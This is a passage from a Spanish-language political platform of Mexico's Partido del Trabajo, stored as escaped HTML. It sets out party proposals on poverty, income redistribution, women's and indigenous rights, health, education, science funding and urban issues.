econ\u00f3mico que padece nuestro pa\u00eds desde hace m\u00e1s de tres d\u00e9cadas, bajo el dominio del neoliberalismo. Es necesario y urgente cambiar esta situaci\u00f3n. Con este prop\u00f3sito, el Partido del Trabajo propone las siguientes directrices estrat\u00e9gicas.<\/p>\n<p><strong> 1. Combate a la pobreza y a la desigualdad social<\/strong><br \/> La desigualdad en M\u00e9xico es peor que hace cincuenta a\u00f1os y el poder adquisitivo de los salarios actuales es menor al de hace m\u00e1s de tres d\u00e9cadas. Asimismo, especialistas de reconocido prestigio muestran estudios en los que se reconoce la existencia de m\u00e1s de 70 millones de mexicanos que viven en situaci\u00f3n de pobreza, mientras que en pobreza extrema viven m\u00e1s de 40 millones.<\/p>\n<p>Ante esta problem\u00e1tica, el Partido del Trabajo propone dar un cambio radical al modelo econ\u00f3mico vigente; adoptar una pol\u00edtica econ\u00f3mica cuyo eje fundamental sea la redistribuci\u00f3n m\u00e1s equitativa del ingreso; y realizar una reforma hacendaria integral progresiva que cobre m\u00e1s impuestos a los que m\u00e1s tienen y m\u00e1s ganan., y garantice su car\u00e1cter redistributivo de la riqueza. La sociedad est\u00e1 harta de que los sucesivos gobiernos neoliberales siempre socializan las p\u00e9rdidas y privatizan las ganancias en las manos de unos cuantos.<\/p>\n<p>Los programas de combate a la pobreza en nuestro pa\u00eds han estado orientados a fines puramente asistencialistas y en muchas ocasiones electoreros. Para nuestro instituto pol\u00edtico no se trata de paliar la miseria sino de desterrarla. Nuestra propuesta en este sentido va enfocada siempre a que los recursos p\u00fablicos que se destinen a estos programas sean, en lo fundamental, para proyectos productivos que tengan un impacto directo en la generaci\u00f3n de ingresos propios para los m\u00e1s pobres de M\u00e9xico, de tal suerte que su efecto no solo se manifieste en la producci\u00f3n sino tambi\u00e9n en la ampliaci\u00f3n de la demanda interna.<\/p>\n<p><strong>2.\u00a0\u00a0 Redistribuci\u00f3n del ingreso<\/strong><\/p>\n<p>La modernizaci\u00f3n y democratizaci\u00f3n de M\u00e9xico debe sustentarse en una redistribuci\u00f3n equitativa del ingreso. El combate a la pobreza y los rezagos sociales constituye una premisa necesaria para ello, pero no la garantizan. La redistribuci\u00f3n del ingreso que impulsa el Partido del Trabajo apunta no s\u00f3lo a la erradicaci\u00f3n de las mayores desigualdades heredadas, sino a una nueva manera de distribuir los frutos de la modernizaci\u00f3n econ\u00f3mica, de manera que aliente el trabajo productivo, establezca relaciones sociales m\u00e1s equilibradas y genere ciudadanos libres.<\/p>\n<p>Para lograr este objetivo el Partido del Trabajo propone aumentar la participaci\u00f3n de la poblaci\u00f3n de menores ingresos y reducir la de la poblaci\u00f3n m\u00e1s rica dentro de la renta nacional, mediante pol\u00edticas p\u00fablicas que alienten la modernizaci\u00f3n incluyente y la reactivaci\u00f3n de la econom\u00eda; la recuperaci\u00f3n salarial directa y por productividad; pol\u00edticas crediticias preferenciales para el fomento a la micro, peque\u00f1a y mediana empresa; as\u00ed como pol\u00edticas que graven m\u00e1s a los que m\u00e1s tienen y exenten a los trabajadores de bajos ingresos.<\/p>\n<p><strong>3.\u00a0\u00a0 Redistribuci\u00f3n del Poder Social<\/strong><\/p>\n<p>La desigualdad social no s\u00f3lo depende de las diferencias de clase o ingreso, sino tambi\u00e9n de la distribuci\u00f3n desigual del poder social y del acceso al empleo, mejoramiento personal y participaci\u00f3n social, cultural y pol\u00edtica. La mayor parte de la poblaci\u00f3n mexicana sufre discriminaciones de diverso tipo, las cuales se apoyan tanto en las instituciones vigentes como en tradiciones culturales profundamente arraigadas como el machismo y el racismo. El resultado de esto es que las mujeres (51.2% de la poblaci\u00f3n nacional) y los ind\u00edgenas (14%) son v\u00edctimas de discriminaci\u00f3n, exclusi\u00f3n y marginaci\u00f3n, lo que los convierte en ciudadanos de segunda.<\/p>\n<p>Para combatir esta situaci\u00f3n el Partido del Trabajo impulsa acciones concretas de apoyo a la acci\u00f3n aut\u00f3noma de los distintos sectores discriminados y oprimidos, y promueve la apertura de espacios espec\u00edficos de integraci\u00f3n y participaci\u00f3n en la vida laboral, social, pol\u00edtica y cultural del pa\u00eds.<\/p>\n<p><strong>4.\u00a0\u00a0 Mujeres y democracia<\/strong><\/p>\n<p>El Partido del Trabajo reconoce la importancia de la lucha de las mujeres por la igualdad de g\u00e9nero. Sus demandas exigen un cambio en las relaciones sociales, de g\u00e9nero, en la pareja, la familia, en la sociedad civil y sus organizaciones, as\u00ed como en las instituciones p\u00fablicas y el acceso a cargos de elecci\u00f3n popular. A fin de avanzar hacia la igualdad social, econ\u00f3mica y pol\u00edtica de las mujeres, el Partido del Trabajo se compromete a impulsar las siguientes l\u00edneas de acci\u00f3n.<\/p>\n<ul>\n<li>Construir medidas legales y culturales que coadyuven a terminar con la violencia hacia las mujeres, en todas su manifestaciones y en todos los \u00e1mbitos de la vida social.<\/li>\n<li>Garantizar su seguridad p\u00fablica y establecer leyes estrictas que impidan el acoso sexual en los centros de trabajo.<\/li>\n<li>Promover reformas legislativas que otorguen el derecho a la maternidad libre y voluntaria, acompa\u00f1\u00e1ndolas de programas de educaci\u00f3n sexual, paternidad responsable y m\u00e9todos anticonceptivos.<\/li>\n<li>Sancionar toda discriminaci\u00f3n sexual, garantizando igualdad de condiciones y oportunidad laborales, sociales, pol\u00edticas y culturales.<\/li>\n<li>Promover programas de capacitaci\u00f3n para mujeres en oficios no tradicionales y para el desarrollo de aquellas que habitan en el medio rural.<\/li>\n<li>Introducir el derecho de las mujeres a la tenencia de la tierra en la propiedad ejidal, igual que los varones, derecho a asesor\u00eda, capacitaci\u00f3n t\u00e9cnica y acceso a\u00a0insumos y cr\u00e9ditos.<\/li>\n<li>Crear una legislaci\u00f3n que proteja los derechos laborales de las jornaleras agr\u00edcolas.<\/li>\n<li>Impulsar pol\u00edticas de acci\u00f3n afirmativa del g\u00e9nero femenino, que eliminen la marginaci\u00f3n y la discriminaci\u00f3n de las mujeres en los \u00e1mbitos m\u00e1s relevantes de la vida social y pol\u00edtica.<\/li>\n<li>Combatir la discriminaci\u00f3n y la desigualdad en los centros trabajo por motivos de embarazo o de atenci\u00f3n materna.<\/li>\n<\/ul>\n<p><strong>5.\u00a0\u00a0 Problem\u00e1tica infantil y juvenil<\/strong><\/p>\n<p>M\u00e9xico es un pa\u00eds joven, integrado en su mayor\u00eda por ni\u00f1os y j\u00f3venes. Sin embargo, estos grupos de poblaci\u00f3n no ha contado con adecuadas leyes, pol\u00edticas p\u00fablicas e instituciones que propicien su desarrollo efectivo en los principales aspectos de la vida social -nutrici\u00f3n, salud, educaci\u00f3n, recreaci\u00f3n, laboral y pol\u00edtico y recreativo-, de cara a forjar con cada nueva generaci\u00f3n un M\u00e9xico mejor.<\/p>\n<p>El ciclo de crisis econ\u00f3micas recurrentes y la poca importancia que para los sucesivos gobiernos de derechas tiene estos sectores, han recrudecido los problemas que los afectan. Por ello, no es casualidad que el abandono, la delincuencia, la vagancia, la drogadicci\u00f3n y el alcoholismo hayan crecido sensiblemente entre los j\u00f3venes en las \u00faltimas tres d\u00e9cadas.<\/p>\n<p>Ante ello, el Partido del Trabajo propone crear las pol\u00edticas, leyes e instituciones necesarias y convenientes para su desarrollo integral, lo cual contribuir\u00e1 en gran medida a la edificaci\u00f3n de un M\u00e9xico m\u00e1s justo, igualitario y democr\u00e1tico. En este sentido proponemos impulsar las siguientes medidas:<\/p>\n<p>Con relaci\u00f3n a la ni\u00f1ez:<\/p>\n<ul>\n<li>Garantizar a la ni\u00f1ez mexicana vivienda, alimentaci\u00f3n, salud, educaci\u00f3n, esparcimiento y recreaci\u00f3n, y un ambiente familiar afectuoso.<\/li>\n<li>Promover la ampliaci\u00f3n de la cobertura de la educaci\u00f3n temprana y de primera infancia, especialmente la modalidad de CENDIS, hasta alcanzar el 100% de la poblaci\u00f3n correspondiente.<\/li>\n<li>Establecer programas espec\u00edficos para los ni\u00f1os en situaci\u00f3n de calle, con el objeto de proveerles de servicios y atenci\u00f3n b\u00e1sica necesarios, que permitan su reinserci\u00f3n paulatina a la sociedad y su desarrollo como seres humanos dignos.<\/li>\n<li>Ampliar las medidas y disposiciones de orden legal que combaten y sancionan el tr\u00e1fico, pornograf\u00eda y prostituci\u00f3n infantil, as\u00ed como la pedofilia y la pederastia.<\/li>\n<\/ul>\n<p>Con relaci\u00f3n a los j\u00f3venes:<\/p>\n<ul>\n<li>Incrementar sustancialmente el acceso de los j\u00f3venes a la educaci\u00f3n en todos los niveles del sistema nacional.<\/li>\n<li>Vincular s\u00f3lidamente el sistema educativo con el aparato productivo, sobre todo en los niveles t\u00e9cnico y profesional, de modo que los j\u00f3venes adquieran los medios necesarios para integrarse adecuadamente al mundo laboral.<\/li>\n<li>Incrementar y diversificar las fuentes de empleo productivo y bien remunerado para los j\u00f3venes, de manera que puedan mejorar efectivamente sus condiciones de vida.<\/li>\n<li>Fomentar la participaci\u00f3n social y pol\u00edtica independiente entre los j\u00f3venes, a fin de que vayan incidiendo de manera creciente en los \u00e1mbitos de decisi\u00f3n de la vida p\u00fablica.<\/li>\n<li>Promover todas las formas de expresi\u00f3n cultural de la juventud, sin prejuicios ni manipulaciones de tipo pol\u00edtico.<\/li>\n<li>Garantizar el derecho al deporte y la recreaci\u00f3n, como condiciones indispensables para el desarrollo sano y equilibrado de tod@s l@s j\u00f3venes, a trav\u00e9s de la habilitaci\u00f3n de m\u00e1s y mejores espacios.<\/li>\n<li>Fortalecer los esfuerzos de informaci\u00f3n y orientaci\u00f3n de la juventud sobre el efecto pernicioso del uso y tr\u00e1fico de drogas.<\/li>\n<li>Fomentar la educaci\u00f3n respecto a los temas de salud sexual y planificaci\u00f3n familiar.<\/li>\n<li>Garantizar el acceso a Internet en el mayor n\u00famero de espacios p\u00fablicos.<\/li>\n<\/ul>\n<p><strong>6.\u00a0\u00a0 La cuesti\u00f3n ind\u00edgena<\/strong><\/p>\n<p>En t\u00e9rminos generales, la exclusi\u00f3n hist\u00f3rica de la poblaci\u00f3n ind\u00edgena ha impedido que el desarrollo nacional se logre a cabalidad para todos los mexicanos. Durante el primer siglo de vida independiente esta situaci\u00f3n fue evidente, aunque los letrados y gobernantes dijeran haber recuperado con orgullo lo ind\u00edgena para incorporarlo en la formaci\u00f3n y desarrollo de M\u00e9xico. La revoluci\u00f3n de 1910-1917 y las d\u00e9cadas posteriores no cambiaron mucho las cosas: mientras que por un lado se alababa la grandeza del pasado prehisp\u00e1nico, por el otro se negaba la capacidad de los pueblos originarios de decidir su destino.<\/p>\n<p>Hoy vemos que las pol\u00edticas indigenistas s\u00f3lo dan cuenta de estructuras y despilfarros burocr\u00e1ticos y de corrupci\u00f3n, mientras los pueblos y comunidades siguen esperando las bondades del desarrollo comandado primero por el Estado populista y ahora por el Estado neoliberal. Este es el trato que les ha dado el Estado Mexicano desde el triunfo de la revoluci\u00f3n. Por ello no fue casual que el 1\u00ba de enero de 1994 estallara la insurrecci\u00f3n ind\u00edgena del EZLN en Chiapas.<\/p>\n<p>\u00c9sta puso en claro que hist\u00f3ricamente a los pueblos indios no se les ha escuchado a pesar de que demandan algo muy simple: no m\u00e1s despojo de tierras; no m\u00e1s explotaci\u00f3n ni discriminaci\u00f3n racial, represi\u00f3n y muertes injustas en su contra; no m\u00e1s desconocimiento ni rechazo de sus usos y costumbres, tejido sociocultural milenario y sustento de sus modos de vida. En una palabra: RESPETO.<\/p>\n<p>Como consecuencia de lo antes expuesto, la poblaci\u00f3n ind\u00edgena y su problem\u00e1tica no resuelta reclaman su inclusi\u00f3n en el un Nuevo Proyecto Nacional que propone el Partido del Trabajo, el cual incluye a tod@s l@s mexican@s sin excepci\u00f3n. En este sentido, proponemos y asumimos el compromiso de impulsar de llevar a cabo lo siguiente:<\/p>\n<ul>\n<li>Reformas a la Constituci\u00f3n y las leyes para incorporar los leg\u00edtimos derechos de los pueblos y comunidades ind\u00edgenas, en particular su derecho a la libre determinaci\u00f3n ejercida por medio de la autonom\u00eda en el marco del Estado nacional, como fue establecido en los \u201cAcuerdos de San Andr\u00e9s\u201d.<\/li>\n<li>Asignaci\u00f3n, en los presupuestos p\u00fablicos de la Federaci\u00f3n y los estados, de recursos econ\u00f3micos, cient\u00edficos y t\u00e9cnicos suficientes para el desarrollo integral de sus pueblos y comunidades, con el derecho legal para ser administrados por ellos de acuerdo a sus necesidades y formas propias de vida y organizaci\u00f3n.<\/li>\n<li>Creaci\u00f3n inmediata de instancias y mecanismos en todos los niveles de gobierno para preservar y promover el desarrollo de sus culturas, dirigidos por representantes de sus pueblos y comunidades.<\/li>\n<li>Que el gobierno Federal cumpla cabalmente los acuerdos que suscribi\u00f3 con el EZLN en el Di\u00e1logo de San Andr\u00e9s Larr\u00e1inzar.<\/li>\n<\/ul>\n<p><strong>7.\u00a0\u00a0 Salud<\/strong><\/p>\n<p>Una sociedad sana y bien alimentada es la base para que todas y todos los mexicanos logremos mayores niveles de desempe\u00f1o en cada una de las actividades que realizamos. El sistema de salud en M\u00e9xico enfrenta dos problemas cruciales que tendr\u00e1n graves incidencias y a los que habr\u00e1 que hacerles frente. El primero de ellos tiene que ver con el aumento de la proporci\u00f3n de personas de mayor edad en la estructura poblacional, lo que supone una mayor demanda de servicios m\u00e9dicos m\u00e1s especializados; el segundo, est\u00e1 relacionado con la distribuci\u00f3n espacial de la poblaci\u00f3n.<\/p>\n<p>El sistema de salud en M\u00e9xico ha logrado dotar de unidades y servicios m\u00e9dicos elementales, y en cierta medida especializados, a la poblaci\u00f3n en los n\u00facleos urbanos de mayor concentraci\u00f3n. Sin embargo, en las zonas rurales contin\u00faan m\u00faltiples comunidades sin la cobertura de los m\u00e1s elementales servicios m\u00e9dicos, y sin hospitales y unidades m\u00e9dicas necesarias. Por ello, el reto del sector salud y de la pol\u00edtica social en esta materia ser\u00e1 lograr una cobertura total de dichos servicios, as\u00ed como una mayor especializaci\u00f3n de los mismos ante los dos principales problemas planteados, y los que se a\u00f1adir\u00e1n con el paso de los a\u00f1os. Otro reto lo constituye la urgencia de alentar la participaci\u00f3n de la poblaci\u00f3n en la conformaci\u00f3n de una medicina preventiva, porque estamos convencidos que es mejor prevenir que curar. Detectar y controlar desde sus primeras fases las enfermedades, y transformar la medicina curativa en preventiva dar\u00e1 mejores resultados a la pol\u00edtica de salud.<\/p>\n<p>En ese sentido, proponemos reformas legislativas que modifiquen el marco legal que rige el rengl\u00f3n de salud para que en la prevenci\u00f3n y curaci\u00f3n de los males que aquejan a la poblaci\u00f3n, la medicina alternativa tenga el espacio formal que le debe corresponder. M\u00e9xico es uno de los pa\u00edses con mayor biodiversidad en el mundo y como consecuencia de ello la flora y la fauna han sido un recurso ancestral que la medicina tradicional ha utilizado para curar y prevenir las enfermedades. Aunado a lo anterior, la acupuntura, digitopuntura, quiropr\u00e1ctica, homeopat\u00eda y herbolaria, por s\u00f3lo mencionar algunas, son alternativas probadas y reconocidas en el plano cient\u00edfico y legal y, por tanto, utilizadas en una buena parte del mundo para la recuperaci\u00f3n de la salud. Proponemos que dentro de las leyes relativas a la salud se incorporen las propuestas de medicina alternativa se\u00f1aladas.<\/p>\n<p>Desterrar la corrupci\u00f3n al interior del sistema de salud en nuestro pa\u00eds, es otra tarea urgente y necesaria. Hemos visto como instituciones federales y estatales se est\u00e1n desmoronando como resultado de la falta de transparencia, as\u00ed como por la corrupci\u00f3n e impunidad en el manejo de los recursos p\u00fablicos destinados al sector salud. Los altos funcionarios de esas instituciones tienen altos sueldos, mientras los derechohabientes no tienen acceso a los medicamentos y tienen que comprarlos para poder enfrentar sus enfermedades y padecimientos.<\/p>\n<p>Asimismo, esas instituciones ya no cuentan con dinero para cubrir las pensiones de sus trabajadores, pues el patrimonio de \u00e9stos se desvi\u00f3 en anteriores gobiernos a las campa\u00f1as pol\u00edticas, y a partir de las reformas al sistema de pensiones de 2007 el derecho a jubilaci\u00f3n se convirti\u00f3 en un sistema de ahorro individual, por lo que las aportaciones de los trabajadores est\u00e1n en manos de empresas privadas y ya no ser\u00e1n administrados por el gobierno, lo que preocupa a\u00fan m\u00e1s ya que como es sabido de todos, las empresas van tras la ganancia y no tras la protecci\u00f3n del dinero de los trabajadores.<\/p>\n<p>Por eso reiteramos nuestra propuesta de modificaciones legislativas sustanciales al marco jur\u00eddico de la CONAMED, que es la instituci\u00f3n encargada del arbitraje entre la ciudadan\u00eda y las instituciones del sector, para evitar que los actos de corrupci\u00f3n y de negligencia en los servicios de salud sigan en la impunidad.<\/p>\n<p>Las tres principales causas de muerte en M\u00e9xico son, en orden de importancia, las enfermedades cardiovasculares; el c\u00e1ncer y la diabetes <em>mellitus<\/em>. Pero no debemos olvidar que enfermedades como la obesidad, el tabaquismo y las enfermedades gastrointestinales entre la poblaci\u00f3n infantil, son una fuente importante de padecimientos que cada d\u00eda van en aumento, sin olvidar el grave problema de salud p\u00fablica que representa el SIDA. Por lo tanto, realizar una pol\u00edtica de amplia difusi\u00f3n sobre las graves consecuencias de ellas ser\u00e1 una tarea muy importante que habr\u00e1 de desarrollar el sector salud entre los habitantes de nuestro pa\u00eds, para impedir que sigan cobrando v\u00edctimas y reducir su incidencia entre la poblaci\u00f3n.<\/p>\n<p>Para enfrentar estos retos, se necesitan recursos humanos y materiales. El Partido del Trabajo propone una reforma constitucional para que se garantice canalizar cada a\u00f1o, al menos el 8 por ciento del producto interno bruto al sector salud. Reconocemos que esto implica un esfuerzo recaudatorio importante, pero es factible llevarlo a cabo en el corto plazo conforme lo hemos propuesto en la parte relativa al fortalecimiento de las finanzas p\u00fablicas.<\/p>\n<p><strong>8.\u00a0\u00a0\u00a0\u00a0\u00a0 Educaci\u00f3n<\/strong><\/p>\n<p>La educaci\u00f3n es un proceso de adquisici\u00f3n y transmisi\u00f3n de conocimientos que sirve para transformar las condiciones materiales, sociales y espirituales de los individuos en sociedad. Por ello, todo el sistema educativo debe ser regido y regulado por el gobierno en aras de la uniformidad y homogeneidad del proceso de trasmisi\u00f3n del conocimiento, as\u00ed como de la investigaci\u00f3n en el campo cient\u00edfico.<\/p>\n<p>En M\u00e9xico persisten enormes insuficiencias en la educaci\u00f3n p\u00fablica. Nuestro pa\u00eds tiene el enorme reto que representa atender a cerca de un tercio del total de la poblaci\u00f3n en materia educativa. Pero si atendi\u00e9ramos a la composici\u00f3n por edades de la misma, nuestro sistema educativo deber\u00eda proporcionar educaci\u00f3n a casi la mitad del total de la poblaci\u00f3n. Una gran cantidad de j\u00f3venes de entre 15 y 22 a\u00f1os no tienen oportunidad de acceder a la educaci\u00f3n media superior y superior por falta de recursos econ\u00f3micos. Los principales problemas de la educaci\u00f3n en M\u00e9xico cobran especial relevancia en estos dos niveles. Sin embargo, en la educaci\u00f3n b\u00e1sica (primaria y secundaria), aunque su cobertura se aproxima al cien por ciento, las recientes evaluaciones internacionales han mostrado que la calidad de la misma deja mucho que desear.<\/p>\n<p>En t\u00e9rminos generales, el sistema educativo en M\u00e9xico padece desde hace muchos a\u00f1os una grave crisis que se refleja, entre otras cosas, en sus indicadores m\u00e1s significativos. El analfabetismo (personas de 15 a\u00f1os y m\u00e1s) representa 5.5 por ciento del total de la poblaci\u00f3n (4.8 millones de personas, seg\u00fan la Encuesta Intercensal 2015 del INEGI), un poco m\u00e1s del nivel aceptado por los organismos educativos internacionales, que es del 4 por ciento. La cobertura deja mucho que desear en educaci\u00f3n media superior y superior, donde la demanda rebasa con mucho lo que ofrece el sistema educativo. La deserci\u00f3n escolar es muy alta desde secundaria hasta superior, principalmente por insuficientes ingresos de las familias y deficiencias de diverso tipo (financieras, de infraestructura, materiales, humanas y pedag\u00f3gicas, entre otras) de los propios subsistemas.<\/p>\n<p>En cuanto a la calidad, el panorama no es alentador. Las recientes mediciones internacionales colocan a nuestro pa\u00eds en los \u00faltimos lugares de la OCDE, organismo al que pertenece M\u00e9xico desde 1994; e incluso muy por abajo de pa\u00edses con un desarrollo similar al nuestro. Por ejemplo, los datos m\u00e1s recientes de dicha organizaci\u00f3n indican que el 65 por ciento de la poblaci\u00f3n joven (15 a 29 a\u00f1os) est\u00e1 al margen de la educaci\u00f3n; y que el 22 por ciento representa los llamados \u201cninis\u201d (ni estudian ni trabajan), mientras que el promedio de la OCDE es de 14.6 por ciento. Y si esos indicadores los referimos a los grupos marginados, en particular la poblaci\u00f3n ind\u00edgena, los datos son a\u00fan m\u00e1s dram\u00e1ticos.<\/p>\n<p>Con un 45 por ciento, las tasas de graduaci\u00f3n en la educaci\u00f3n media superior son las segundas m\u00e1s bajas entre los pa\u00edses de la OCDE. El 56 por ciento de la poblaci\u00f3n en edad de entre 15 a 19 a\u00f1os est\u00e1n matriculados, mientras la media de la OCDE es de 82 por ciento. S\u00f3lo el 12 por ciento de los mexicanos de entre 20 y 29 a\u00f1os participan en la educaci\u00f3n, muy por debajo del 28 por ciento de la OCDE. Como porcentaje del PIB, el gasto educativo se ha incrementado cerca de un punto porcentual en la \u00faltima d\u00e9cada al ubicarse en 5.8 por ciento, cerca de la media de la OCDE del 5.9 por ciento. No obstante, M\u00e9xico tiene el gasto p\u00fablico total m\u00e1s bajo como porcentaje del PIB con 24 por ciento, mientras que el promedio de la OCDE es 43 por ciento.<\/p>\n<p>La desigualdad social, y por consecuencia el incremento de la pobreza en M\u00e9xico, se refleja tambi\u00e9n en la educaci\u00f3n. Los programas emergentes y los regulares u ordinarios para combatir el rezago educativo no han podido cubrir de manera eficiente el prop\u00f3sito para el cual fueron creados. Como resultado, en nuestro M\u00e9xico coexisten \u201cdos pa\u00edses\u201d: uno minoritario, que tiene educaci\u00f3n de primer mundo, que cuenta con instituciones perfectamente acondicionadas para proporcionar este servicio con altos niveles de eficiencia y cuyos recursos provienen de los sectores empresariales y de los grupos sociales de altos ingresos; el otro mayoritario, que a duras penas puede enviar a sus hijos a las escuelas p\u00fablicas, las cuales carecen de la infraestructura necesaria tanto en t\u00e9rminos de recursos materiales y humanos y que, en consecuencia, reciben una educaci\u00f3n de baja calidad. Sin embargo, no podemos dejar de reconocer que las instituciones p\u00fablicas como la UNAM, el IPN, la UAM, entre otras, son la vanguardia en materia de investigaci\u00f3n y de formaci\u00f3n de profesionistas de alto nivel. Asimismo, la tradici\u00f3n de una escuela con caracter\u00edsticas netamente populares y que ha hecho tradici\u00f3n en Latinoam\u00e9rica sigue subsistiendo.<\/p>\n<p>Por otra parte, necesitamos transitar de un modelo que pone \u00e9nfasis en el exceso de informaci\u00f3n, a un esquema que desde los primeros a\u00f1os se base en el desarrollo de las habilidades ligadas a la lectura, la comprensi\u00f3n, el razonamiento, la asociaci\u00f3n de ideas, la interpretaci\u00f3n y el an\u00e1lisis de los datos y los hechos de nuestra realidad cotidiana; as\u00ed como en el razonamiento l\u00f3gico. Debemos desarrollar una educaci\u00f3n enfocada a la creatividad y la construcci\u00f3n de conocimientos. Pero tambi\u00e9n necesitamos pasar a construir un sistema de educaci\u00f3n superior e investigaci\u00f3n tecnol\u00f3gica para garantizar la formaci\u00f3n de cuadros altamente calificados en el contexto de un mundo globalizado, para responder al desaf\u00edo que representa la competencia mundial.<\/p>\n<p>En suma, nuestro pa\u00eds necesita una transformaci\u00f3n amplia, profunda e integral del sistema educativo. En este sentido, especial atenci\u00f3n requieren los niveles b\u00e1sico y medio superior. Se debe completar la cobertura del nivel preescolar, que actualmente ronda el 65 por ciento; y crear con alcance nacional el nivel de educaci\u00f3n temprana o inicial. Para atender estas necesidades el Partido del Trabajo propone una nueva reforma educativa democr\u00e1tica, con la imperiosa participaci\u00f3n de las y los maestros, especialistas en los diversos aspectos y materias, y los padres y madres de familia. El objetivo esencial consiste en actualizar, mejorar y fortalecer: a) la articulaci\u00f3n vertical y horizontal del sistema en todos sus niveles; b) los contenidos de planes y programas de estudio; c) los aspectos e instrumentos pedag\u00f3gicos; d) las estructura y flujos financieros que lo sustenten en el corto, mediano y largo plazos; y e) la incorporaci\u00f3n y adaptaci\u00f3n de las nuevas tecnolog\u00edas de la informaci\u00f3n.<\/p>\n<p>Por ello, para atender y revertir los rezagos educativos m\u00e1s importantes, el Partido del Trabajo propone que se alcance y garantice, al menos el equivalente al 8 por ciento del PIB a la educaci\u00f3n p\u00fablica.<\/p>\n<p>Asimismo, proponemos que se incorpore a nivel constitucional el derecho a la educaci\u00f3n universal, entendiendo por \u00e9ste, el derecho que tiene todo ciudadano a estudiar y concluir sus estudios sin pretexto de que no hay espacios en las escuelas p\u00fablicas o que por razones econ\u00f3micas tenga que abandonar los mismos. Tambi\u00e9n proponemos la incorporaci\u00f3n al art\u00edculo tercero constitucional, la obligatoriedad por parte del Estado de la impartici\u00f3n de la educaci\u00f3n temprana o inicial.<\/p>\n<p><strong>9.\u00a0\u00a0\u00a0\u00a0\u00a0 Educaci\u00f3n inicial<\/strong><\/p>\n<p>Los organismos multilaterales enfocados a la alimentaci\u00f3n, salud y educaci\u00f3n reconocen ya que es fundamental la atenci\u00f3n de las y los ni\u00f1os desde que se encuentra en el vientre materno. A partir de una adecuada nutrici\u00f3n y estimulaci\u00f3n de la madre, as\u00ed como su procuraci\u00f3n emocional y social, comienza el pleno desarrollo del infante, de todo su organismo y particularmente del cerebro. De este modo, la estimulaci\u00f3n temprana contribuye crucialmente al desarrollo de las capacidades psicomotrices, de los sentidos, de la atenci\u00f3n y la percepci\u00f3n de su entorno.<\/p>\n<p>La UNICEF ha reconocido, que desde el nacimiento hasta los tres a\u00f1os de edad germinan en las y los ni\u00f1os las semillas de la individualidad humana y de la racionalidad. En ese per\u00edodo se multiplican vertiginosamente las sinapsis, y se establecen las pautas de la vida. En esos 36 meses asombrosos se produce el desarrollo del cerebro. Los educandos adquieren la capacidad de pensar, hablar, aprender y razonar. Esas son las bases y las conductas sociales que tendr\u00e1n cuando se conviertan en adultos. Por lo anterior, la UNICEF sostiene que se debe prestar atenci\u00f3n a este buen principio de vida. En M\u00e9xico apenas se est\u00e1 reconociendo la importancia de lo que representa esta etapa en el proceso de formaci\u00f3n del educando y, por lo tanto, consideramos que esta es una materia que debe tener prioridad en la pol\u00edtica educativa actual de nuestro pa\u00eds.<\/p>\n<p>Por ello proponemos, con especial inter\u00e9s y de car\u00e1cter estrat\u00e9gico para nuestro pa\u00eds, crear el sistema nacional de centros de educaci\u00f3n temprana o inicial, a trav\u00e9s de los cuales las madres y sus hijos puedan recibir una alimentaci\u00f3n adecuada, as\u00ed como programas de capacitaci\u00f3n para la integraci\u00f3n de la familia, que garanticen el mejor desarrollo y crecimiento de las y los ni\u00f1os; contemplando tambi\u00e9n que las condiciones que lo rodean sean id\u00f3neas para su equilibrio emocional dentro una sana convivencia social, que redundar\u00e1 en una mayor seguridad a lo largo de su vida.<\/p>\n<p>La educaci\u00f3n temprana o inicial debe ser incorporada como mandato constitucional, y debe recibir los recursos econ\u00f3micos, materiales y humanos que se requieran para el cumplimiento de su cometido. Nuestra propuesta es una apuesta por un futuro mejor. Contribuye a garantizar que tod@s l@s ni\u00f1@s y l@s j\u00f3venes mexican@s tengan acceso de forma gratuita a la educaci\u00f3n p\u00fablica en todos sus niveles. Nuestra lucha es por lograr que en nuestro pa\u00eds se superen el analfabetismo y la ignorancia. Pugnamos por una educaci\u00f3n laica, gratuita, cient\u00edfica y creativa.<\/p>\n<p><strong>10.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Ciencia y Tecnolog\u00eda<\/strong><\/p>\n<p>Un pa\u00eds que no desarrolla sus sistemas de educaci\u00f3n y de investigaci\u00f3n cient\u00edfica y tecnol\u00f3gica, no puede aspirar a elevar su desempe\u00f1o en el marco de la globalizaci\u00f3n y la competencia mundial. La formaci\u00f3n de los recursos humanos para insertarlos al conjunto de las actividades econ\u00f3micas, y la formaci\u00f3n de los cuadros cient\u00edficos para la ampliaci\u00f3n de los conocimientos y su aplicaci\u00f3n a la producci\u00f3n, son dos pilares fundamentales para el desarrollo de los pa\u00edses modernos. El \u00e9xito reciente de naciones como Jap\u00f3n, Corea del Sur, Malasia, Singapur, Taiw\u00e1n, Chile y Brasil, entre otros, no podr\u00eda explicarse sin el papel que ha jugado el desarrollo de la ciencia y la tecnolog\u00eda, y la aplicaci\u00f3n de \u00e9stas en sus sistemas productivos.<\/p>\n<p>Lamentablemente M\u00e9xico destina apenas el equivalente del 0.4 por ciento del PIB a ciencia y tecnolog\u00eda, mientras las naciones desarrolladas destinan entre 2 y 3 por ciento al desarrollo de esas \u00e1reas. En Am\u00e9rica Latina, Brasil destina m\u00e1s del 1 por ciento. El Partido del Trabajo propone dar mayor importancia a la creaci\u00f3n de un verdadero y eficiente sistema de educaci\u00f3n e investigaci\u00f3n cient\u00edfica y tecnol\u00f3gica. \u00c9ste debe elevar el n\u00famero de cuadros altamente especializados, ampliar el n\u00famero de investigadores en todas las disciplinas cient\u00edficas y vincularse mediante convenios con otros sistemas y organismos nacionales e internacionales de ciencia y tecnolog\u00eda. Todo ello, para garantizar que nuestra naci\u00f3n eleve su desempe\u00f1o productivo, econ\u00f3mico, social y cultural en los pr\u00f3ximos a\u00f1os.<\/p>\n<p>En esta direcci\u00f3n, proponemos la canalizaci\u00f3n de mayores recursos p\u00fablicos a ciencia y tecnolog\u00eda, hasta alcanzar el nivel de inversi\u00f3n que destinan las naciones desarrolladas a ese objetivo. Nuestra meta en el corto plazo debe ser que estos recursos alcancen en los pr\u00f3ximos seis a\u00f1os el equivalente al 1.5 por ciento del PIB, para superar el rezago que se tiene en esta materia.<\/p>\n<p><strong>11.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Problem\u00e1tica urbana<\/strong><\/p>\n<p>Cuatro quintas partes de la poblaci\u00f3n de nuestro pa\u00eds vive en localidades urbanas. La gran mayor\u00eda radica en ciudades medias, grandes y zonas metropolitanas, que ya tienen o comienzan a tener los 